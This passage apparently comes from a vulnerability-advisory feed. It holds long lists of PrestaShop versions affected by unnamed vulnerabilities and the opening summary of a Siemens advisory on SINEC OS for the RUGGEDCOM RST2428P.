• PrestaShop 8.0.1
• PrestaShop 8.0.2
• PrestaShop 8.0.3
• PrestaShop 8.0.4
• PrestaShop 8.0.5
• PrestaShop 8.1.0
• PrestaShop 8.1.1
• PrestaShop 8.1.2
• PrestaShop 8.1.3
• PrestaShop 8.1.4
• PrestaShop 8.1.5
• PrestaShop 8.1.6
• PrestaShop 8.1.7
• PrestaShop 8.2.0
• PrestaShop 8.2.1
• PrestaShop 8.2.2
• PrestaShop 8.2.3
• PrestaShop 8.2.4
• PrestaShop 8.2.5
• PrestaShop 8.2.6
• PrestaShop 8.2.7
• PrestaShop 9.0.0
• PrestaShop 9.0.0-1.0-RC.1
• PrestaShop 9.0.1
• PrestaShop 9.0.1-1.0
• PrestaShop 9.0.2
• PrestaShop 9.0.2-2.0
• PrestaShop 9.0.3
• PrestaShop 9.0.3-3.0
• PrestaShop 9.1.0
• PrestaShop 9.1.0-3.0-beta.1
• PrestaShop 9.1.0-4.0
• PrestaShop 9.1.0-4.0-RC.1
• PrestaShop 9.1.1
• PrestaShop 9.1.2
• PrestaShop 9.1.3
• PrestaShop 9.1.3-5.0
• PrestaShop 9.1.4
• PrestaShop 9.1.4-5.0

This vulnerability affects the following application versions:

• PrestaShop 1.6.0.1
• PrestaShop 1.6.0.1 alpha 1
• PrestaShop 1.6.0.2
• PrestaShop 1.6.0.2 alpha 2
• PrestaShop 1.6.0.3
• PrestaShop 1.6.0.3 beta 1
• PrestaShop 1.6.0.4
• PrestaShop 1.6.0.4 RC1
• PrestaShop 1.6.0.5
• PrestaShop 1.6.0.6
• PrestaShop 1.6.0.7
• PrestaShop 1.6.0.8
• PrestaShop 1.6.0.9
• PrestaShop 1.6.0.10
• PrestaShop 1.6.0.11
• PrestaShop 1.6.0.12
• PrestaShop 1.6.0.13
• PrestaShop 1.6.0.14
• PrestaShop 1.6.1.0
• PrestaShop 1.6.1.0 RC4
• PrestaShop 1.6.1.0 RC5
• PrestaShop 1.6.1.1
• PrestaShop 1.6.1.1 RC1
• PrestaShop 1.6.1.1 RC2
• PrestaShop 1.6.1.2
• PrestaShop 1.6.1.2 RC1
• PrestaShop 1.6.1.2 RC2
• PrestaShop 1.6.1.2 RC3
• PrestaShop 1.6.1.2 RC4
• PrestaShop 1.6.1.3
• PrestaShop 1.6.1.3 RC1
• PrestaShop 1.6.1.4
• PrestaShop 1.6.1.5
• PrestaShop 1.6.1.6
• PrestaShop 1.6.1.7
• PrestaShop 1.6.1.8
• PrestaShop 1.6.1.9
• PrestaShop 1.6.1.10
• PrestaShop 1.6.1.11
• PrestaShop 1.6.1.11 beta 1
• PrestaShop 1.6.1.11-beta.1.0
• PrestaShop 1.6.1.12
• PrestaShop 1.6.1.13
• PrestaShop 1.6.1.14
• PrestaShop 1.6.1.15
• PrestaShop 1.6.1.16
• PrestaShop 1.6.1.17
• PrestaShop 1.6.1.18
• PrestaShop 1.6.1.19
• PrestaShop 1.6.1.20
• PrestaShop 1.6.1.21
• PrestaShop 1.6.1.22
• PrestaShop 1.6.1.23
• PrestaShop 1.6.1.24
• PrestaShop 1.7.0.0
• PrestaShop 1.7.0.0 alpha3
• PrestaShop 1.7.0.0 alpha4
• PrestaShop 1.7.0.0 beta1
• PrestaShop 1.7.0.0 beta2
• PrestaShop 1.7.0.0 beta3
• PrestaShop 1.7.0.0 RC0
• PrestaShop 1.7.0.0 RC1
• PrestaShop 1.7.0.0 RC2
• PrestaShop 1.7.0.0 RC3
• PrestaShop 1.7.0.1
• PrestaShop 1.7.0.2
• PrestaShop 1.7.0.3
• PrestaShop 1.7.0.4
• PrestaShop 1.7.0.5
• PrestaShop 1.7.0.6
• PrestaShop 1.7.1.0
• PrestaShop 1.7.1.0 beta1
• PrestaShop 1.7.1.1
• PrestaShop 1.7.1.2
• PrestaShop 1.7.2.0
• PrestaShop 1.7.2.0 RC 1
• PrestaShop 1.7.2.0-RC.1.0
• PrestaShop 1.7.2.1
• PrestaShop 1.7.2.2
• PrestaShop 1.7.2.3
• PrestaShop 1.7.2.4
• PrestaShop 1.7.2.5
• PrestaShop 1.7.3.0
• PrestaShop 1.7.3.0 beta 1
• PrestaShop 1.7.3.0 RC 1
• PrestaShop 1.7.3.1
• PrestaShop 1.7.3.2
• PrestaShop 1.7.3.3
• PrestaShop 1.7.3.4
• PrestaShop 1.7.4.0
• PrestaShop 1.7.4.0 beta 1
• PrestaShop 1.7.4.1
• PrestaShop 1.7.4.2
• PrestaShop 1.7.4.3
• PrestaShop 1.7.4.4
• PrestaShop 1.7.5.0
• PrestaShop 1.7.5.0 beta 1
• PrestaShop 1.7.5.0 RC 1
• PrestaShop 1.7.5.0-beta.1
• PrestaShop 1.7.5.0-RC.1
• PrestaShop 1.7.5.1
• PrestaShop 1.7.5.2
• PrestaShop 1.7.6.0
• PrestaShop 1.7.6.0 beta 1
• PrestaShop 1.7.6.0 RC 1
• PrestaShop 1.7.6.0 RC 2
• PrestaShop 1.7.6.0-beta.1
• PrestaShop 1.7.6.0-RC.1
• PrestaShop 1.7.6.0-RC.2
• PrestaShop 1.7.6.1
• PrestaShop 1.7.6.2
• PrestaShop 1.7.6.3
• PrestaShop 1.7.6.4
• PrestaShop 1.7.6.4 1
• PrestaShop 1.7.6.5
• PrestaShop 1.7.6.5 1
• PrestaShop 1.7.6.6
• PrestaShop 1.7.6.7
• PrestaShop 1.7.6.8
• PrestaShop 1.7.6.9
• PrestaShop 1.7.7.0
• PrestaShop 1.7.7.0 beta 1
• PrestaShop 1.7.7.0 beta 2
• PrestaShop 1.7.7.0 RC 1
• PrestaShop 1.7.7.0-beta.1
• PrestaShop 1.7.7.0-beta.2
• PrestaShop 1.7.7.0-RC.1
• PrestaShop 1.7.7.1
• PrestaShop 1.7.7.2
• PrestaShop 1.7.7.3
• PrestaShop 1.7.7.4
• PrestaShop 1.7.7.5
• PrestaShop 1.7.7.6
• PrestaShop 1.7.7.7
• PrestaShop 1.7.7.8
• PrestaShop 1.7.7.8 1
• PrestaShop 1.7.8.0
• PrestaShop 1.7.8.0 beta 1
• PrestaShop 1.7.8.0 1
• PrestaShop 1.7.8.0 RC 1
• PrestaShop 1.7.8.0-beta.1
• PrestaShop 1.7.8.0-RC.1
• PrestaShop 1.7.8.1
• PrestaShop 1.7.8.2
• PrestaShop 1.7.8.2 1
• PrestaShop 1.7.8.3
• PrestaShop 1.7.8.4
• PrestaShop 1.7.8.5
• PrestaShop 1.7.8.6
• PrestaShop 1.7.8.7
• PrestaShop 1.7.8.7 1
• PrestaShop 1.7.8.8
• PrestaShop 1.7.8.9
• PrestaShop 1.7.8.10
• PrestaShop 1.7.8.11
• PrestaShop 8.0.0
• PrestaShop 8.0.1
• PrestaShop 8.0.2
• PrestaShop 8.0.3
• PrestaShop 8.0.4
• PrestaShop 8.0.5
• PrestaShop 8.1.0
• PrestaShop 8.1.1
• PrestaShop 8.1.2
• PrestaShop 8.1.3
• PrestaShop 8.1.4
• PrestaShop 8.1.5
• PrestaShop 8.1.6
• PrestaShop 8.1.7
• PrestaShop 8.2.0
• PrestaShop 8.2.1
• PrestaShop 8.2.2
• PrestaShop 8.2.3
• PrestaShop 8.2.4
• PrestaShop 9.0.0
• PrestaShop 9.0.0-1.0-RC.1
• PrestaShop 9.0.1
• PrestaShop 9.0.1-1.0
• PrestaShop 9.0.2
• PrestaShop 9.0.2-2.0
• PrestaShop 9.0.3
• PrestaShop 9.0.3-3.0
• PrestaShop 9.1.0-3.0-beta.1
• PrestaShop 9.1.0-4.0-RC.1

This vulnerability affects the following application versions:

• PrestaShop 1.6.0.1
• PrestaShop 1.6.0.1 alpha 1
• PrestaShop 1.6.0.2
• PrestaShop 1.6.0.2 alpha 2
• PrestaShop 1.6.0.3
• PrestaShop 1.6.0.3 beta 1
• PrestaShop 1.6.0.4
• PrestaShop 1.6.0.4 RC1
• PrestaShop 1.6.0.5
• PrestaShop 1.6.0.6
• PrestaShop 1.6.0.7
• PrestaShop 1.6.0.8
• PrestaShop 1.6.0.9
• PrestaShop 1.6.0.10
• PrestaShop 1.6.0.11
• PrestaShop 1.6.0.12
• PrestaShop 1.6.0.13
• PrestaShop 1.6.0.14
• PrestaShop 1.6.1.0
• PrestaShop 1.6.1.0 RC4
• PrestaShop 1.6.1.0 RC5
• PrestaShop 1.6.1.1
• PrestaShop 1.6.1.1 RC1
• PrestaShop 1.6.1.1 RC2
• PrestaShop 1.6.1.2
• PrestaShop 1.6.1.2 RC1
• PrestaShop 1.6.1.2 RC2
• PrestaShop 1.6.1.2 RC3
• PrestaShop 1.6.1.2 RC4
• PrestaShop 1.6.1.3
• PrestaShop 1.6.1.3 RC1
• PrestaShop 1.6.1.4
• PrestaShop 1.6.1.5
• PrestaShop 1.6.1.6
• PrestaShop 1.6.1.7
• PrestaShop 1.6.1.8
• PrestaShop 1.6.1.9
• PrestaShop 1.6.1.10
• PrestaShop 1.6.1.11
• PrestaShop 1.6.1.11 beta 1
• PrestaShop 1.6.1.11-beta.1.0
• PrestaShop 1.6.1.12
• PrestaShop 1.6.1.13
• PrestaShop 1.6.1.14
• PrestaShop 1.6.1.15
• PrestaShop 1.6.1.16
• PrestaShop 1.6.1.17
• PrestaShop 1.6.1.18
• PrestaShop 1.6.1.19
• PrestaShop 1.6.1.20
• PrestaShop 1.6.1.21
• PrestaShop 1.6.1.22
• PrestaShop 1.6.1.23
• PrestaShop 1.6.1.24
• PrestaShop 1.7.0.0
• PrestaShop 1.7.0.0 alpha3
• PrestaShop 1.7.0.0 alpha4
• PrestaShop 1.7.0.0 beta1
• PrestaShop 1.7.0.0 beta2
• PrestaShop 1.7.0.0 beta3
• PrestaShop 1.7.0.0 RC0
• PrestaShop 1.7.0.0 RC1
• PrestaShop 1.7.0.0 RC2
• PrestaShop 1.7.0.0 RC3
• PrestaShop 1.7.0.1
• PrestaShop 1.7.0.2
• PrestaShop 1.7.0.3
• PrestaShop 1.7.0.4
• PrestaShop 1.7.0.5
• PrestaShop 1.7.0.6
• PrestaShop 1.7.1.0
• PrestaShop 1.7.1.0 beta1
• PrestaShop 1.7.1.1
• PrestaShop 1.7.1.2
• PrestaShop 1.7.2.0
• PrestaShop 1.7.2.0 RC 1
• PrestaShop 1.7.2.0-RC.1.0
• PrestaShop 1.7.2.1
• PrestaShop 1.7.2.2
• PrestaShop 1.7.2.3
• PrestaShop 1.7.2.4
• PrestaShop 1.7.2.5
• PrestaShop 1.7.3.0
• PrestaShop 1.7.3.0 beta 1
• PrestaShop 1.7.3.0 RC 1
• PrestaShop 1.7.3.1
• PrestaShop 1.7.3.2
• PrestaShop 1.7.3.3
• PrestaShop 1.7.3.4
• PrestaShop 1.7.4.0
• PrestaShop 1.7.4.0 beta 1
• PrestaShop 1.7.4.1
• PrestaShop 1.7.4.2
• PrestaShop 1.7.4.3
• PrestaShop 1.7.4.4
• PrestaShop 1.7.5.0
• PrestaShop 1.7.5.0 beta 1
• PrestaShop 1.7.5.0 RC 1
• PrestaShop 1.7.5.0-beta.1
• PrestaShop 1.7.5.0-RC.1
• PrestaShop 1.7.5.1
• PrestaShop 1.7.5.2
• PrestaShop 1.7.6.0
• PrestaShop 1.7.6.0 beta 1
• PrestaShop 1.7.6.0 RC 1
• PrestaShop 1.7.6.0 RC 2
• PrestaShop 1.7.6.0-beta.1
• PrestaShop 1.7.6.0-RC.1
• PrestaShop 1.7.6.0-RC.2
• PrestaShop 1.7.6.1
• PrestaShop 1.7.6.2
• PrestaShop 1.7.6.3
• PrestaShop 1.7.6.4
• PrestaShop 1.7.6.4 1
• PrestaShop 1.7.6.5
• PrestaShop 1.7.6.5 1
• PrestaShop 1.7.6.6
• PrestaShop 1.7.6.7
• PrestaShop 1.7.6.8
• PrestaShop 1.7.6.9
• PrestaShop 1.7.7.0
• PrestaShop 1.7.7.0 beta 1
• PrestaShop 1.7.7.0 beta 2
• PrestaShop 1.7.7.0 RC 1
• PrestaShop 1.7.7.0-beta.1
• PrestaShop 1.7.7.0-beta.2
• PrestaShop 1.7.7.0-RC.1
• PrestaShop 1.7.7.1
• PrestaShop 1.7.7.2
• PrestaShop 1.7.7.3
• PrestaShop 1.7.7.4
• PrestaShop 1.7.7.5
• PrestaShop 1.7.7.6
• PrestaShop 1.7.7.7
• PrestaShop 1.7.7.8
• PrestaShop 1.7.7.8 1
• PrestaShop 1.7.8.0
• PrestaShop 1.7.8.0 beta 1
• PrestaShop 1.7.8.0 1
• PrestaShop 1.7.8.0 RC 1
• PrestaShop 1.7.8.0-beta.1
• PrestaShop 1.7.8.0-RC.1
• PrestaShop 1.7.8.1
• PrestaShop 1.7.8.2
• PrestaShop 1.7.8.2 1
• PrestaShop 1.7.8.3
• PrestaShop 1.7.8.4
• PrestaShop 1.7.8.5
• PrestaShop 1.7.8.6
• PrestaShop 1.7.8.7
• PrestaShop 1.7.8.7 1
• PrestaShop 1.7.8.8
• PrestaShop 1.7.8.9
• PrestaShop 1.7.8.10
• PrestaShop 1.7.8.11
• PrestaShop 8.0.0
• PrestaShop 8.0.1
• PrestaShop 8.0.2
• PrestaShop 8.0.3
• PrestaShop 8.0.4
• PrestaShop 8.0.5
• PrestaShop 8.1.0
• PrestaShop 8.1.1
• PrestaShop 8.1.2
• PrestaShop 8.1.3
• PrestaShop 8.1.4
• PrestaShop 8.1.5
• PrestaShop 8.1.6
• PrestaShop 8.1.7
• PrestaShop 8.2.0
• PrestaShop 8.2.1
• PrestaShop 8.2.2
• PrestaShop 8.2.3
• PrestaShop 8.2.4
• PrestaShop 9.0.0
• PrestaShop 9.0.0-1.0-RC.1
• PrestaShop 9.0.1
• PrestaShop 9.0.1-1.0
• PrestaShop 9.0.2
• PrestaShop 9.0.2-2.0
• PrestaShop 9.0.3
• PrestaShop 9.0.3-3.0
• PrestaShop 9.1.0-3.0-beta.1
• PrestaShop 9.1.0-4.0-RC.1

Summary

SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.

The following versions of Siemens SINEC OS are affected:

• RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/<4.0 

Background

• Critical Infrastructure Sectors: Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Germany

Vulnerabilities